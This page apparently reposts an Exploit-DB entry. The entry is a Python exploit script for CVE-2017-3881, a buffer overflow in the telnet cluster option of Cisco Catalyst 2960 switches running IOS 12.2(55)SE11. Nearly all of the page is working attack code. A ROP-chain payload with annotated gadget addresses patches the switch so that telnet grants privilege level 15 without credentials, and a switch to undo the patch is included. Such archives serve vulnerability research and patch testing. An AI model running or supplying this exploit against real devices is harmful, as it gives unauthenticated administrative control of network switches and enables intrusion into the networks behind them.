Cisco Catalyst 2960 IOS 12.2(55)SE11 – ‘ROCEM’ Remote Code Execution

• Exploit Database
• 16 阅读

• 作者： Artem Kondratenko
  日期： 2017-04-12
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/41872/

• #!/usr/bin/python
  # Exploit Title: Cisco Catalyst 2960 - Buffer Overflow
  # Exploit Details: https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
  # Date: 04.10.2017
  # Exploit Author: https://twitter.com/artkond
  # Vendor Homepage: https://www.cisco.com/
  # Version: IOS version c2960-lanbasek9-mz.122-55.SE11)
  # Tested on: Catalyst 2960 with IOS version c2960-lanbasek9-mz.122-55.SE11
  # CVE : CVE-2017-3881
  # Description:
  #
  # The exploit connects to the Catalyst switch and patches
  # it execution flow to allow credless telnet interaction 
  # with highest privilege level
  #
  
  
  import socket
  import sys
  from time import sleep
  
  set_credless = True
  
  if len(sys.argv) < 3:
  	print sys.argv[0] + ' [host] --set/--unset'
  	sys.exit()
  elif sys.argv[2] == '--unset':
  	set_credless = False
  elif sys.argv[2] == '--set':
  	pass
  else:
  	print sys.argv[0] + ' [host] --set/--unset'
  	sys.exit()
  
  
  s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
  s.connect((sys.argv[1], 23))
  
  print '[+] Connection OK'
  print '[+] Recieved bytes from telnet service:', repr(s.recv(1024))
  print '[+] Sending cluster option'
  print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication'
  
  
  
  payload = '\xff\xfa\x24\x00'
  payload += '\x03CISCO_KITS\x012:'
  payload += 'A' * 116
  payload += '\x00\x00\x37\xb4'		# first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
  #next bytes are shown as offsets from r1
  payload += '\x02\x3d\x55\xdc'		# +8address of pointer to is_cluster_mode function - 0x34
  if set_credless is True:
  	payload += '\x00\x00\x99\x9c'	# +12 setaddress of func that rets 1
  else:
  	payload +=	'\x00\x04\xeA\xe0'	# unset 
  payload += 'BBBB'					# +16(+0) r1 points here at second gadget
  payload += '\x00\xe1\xa9\xf4' 		# +4 second gadget address 0x00e1a9f4: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
  payload += 'CCCC'					# +8 
  payload += 'DDDD'					# +12
  payload += 'EEEE'					# +16(+0) r1 points here at third gadget
  payload += '\x00\x06\x7b\x5c'		# +20(+4) third gadget address. 0x00067b5c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr; 
  payload += '\x02\x3d\x55\xc8'		# +8r1+8 = 0x23d55c8
  payload += 'FFFF'					# +12 
  payload += 'GGGG'					# +16(+0) r1 points here at fourth gadget 
  payload += '\x00\x6c\xb3\xa0' 		# +20(+4) fourth gadget address 0x006cb3a0: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
  if set_credless:
  	payload += '\x00\x27\x0b\x94'	# +8 address of the replacing function that returns 15 (our desired privilege level). 0x00270b94: li r3, 0xf; blr; 
  else:
  	payload += '\x00\x04\xe7\x78'	# unset
  payload += 'HHHH'					# +12
  payload += 'IIII'					# +16(+0) r1 points here at fifth gadget
  payload += '\x01\x4a\xcf\x98'		# +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
  payload += 'JJJJ'					# +8 r1 points here at third gadget
  payload += 'KKKK'					# +12
  payload += 'LLLL'					# +16
  payload += '\x01\x14\xe7\xec'		# +20 original execution flow return addr
  payload += ':15:' +'\xff\xf0'
  
  s.send(payload)
  
  print '[+] All done'
  
  s.close()